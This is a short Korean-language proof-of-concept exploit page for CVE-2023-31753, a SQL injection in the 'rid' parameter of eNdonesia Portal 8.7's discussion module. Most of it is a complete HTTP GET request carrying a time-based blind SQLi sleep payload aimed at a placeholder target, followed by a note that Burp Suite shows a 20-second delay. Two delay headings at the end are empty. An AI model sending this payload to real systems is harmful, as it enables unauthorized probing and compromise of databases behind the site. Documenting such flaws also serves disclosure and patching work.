CVE-2023-31753에 대한 개념 증명

설명: eNdonesia Portal v8.7에서 SQL 인젝션 취약점이 발견되었으며, diskusi.php의 "rid" 매개변수에 조작된 페이로드를 삽입하여 악용할 수 있습니다.

• 익스플로잇 제목: eNdonesia Portal 8.7 - diskusi.php의 SQL 인젝션 취약점 (rid 매개변수)
• 날짜: 2023년 5월 19일
• 익스플로잇 작성자: Kunal Khubchandani
• 공급업체 홈페이지: http://www.endonesia.org/
• 소프트웨어 링크: https://sourceforge.net/projects/endonesia/
• 버전: 8.7
• 카테고리: Webapps
• 테스트 환경: WiN11_x64/KaLiLinuX_x64
• CVE : CVE-2023-31753

#PoC:

1. 이 취약점을 악용하려면 다음 HTTP 요청에서 "rid" GET 매개변수의 값으로 SQLi sleep 페이로드를 전송해야 합니다.

2. 취약한 요청:

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

3. 위 HTTP 요청을 Burp Suite를 통해 전송하면 20초 지연된 응답을 받게 됩니다.

** 20초 지연:

** 30초 지연: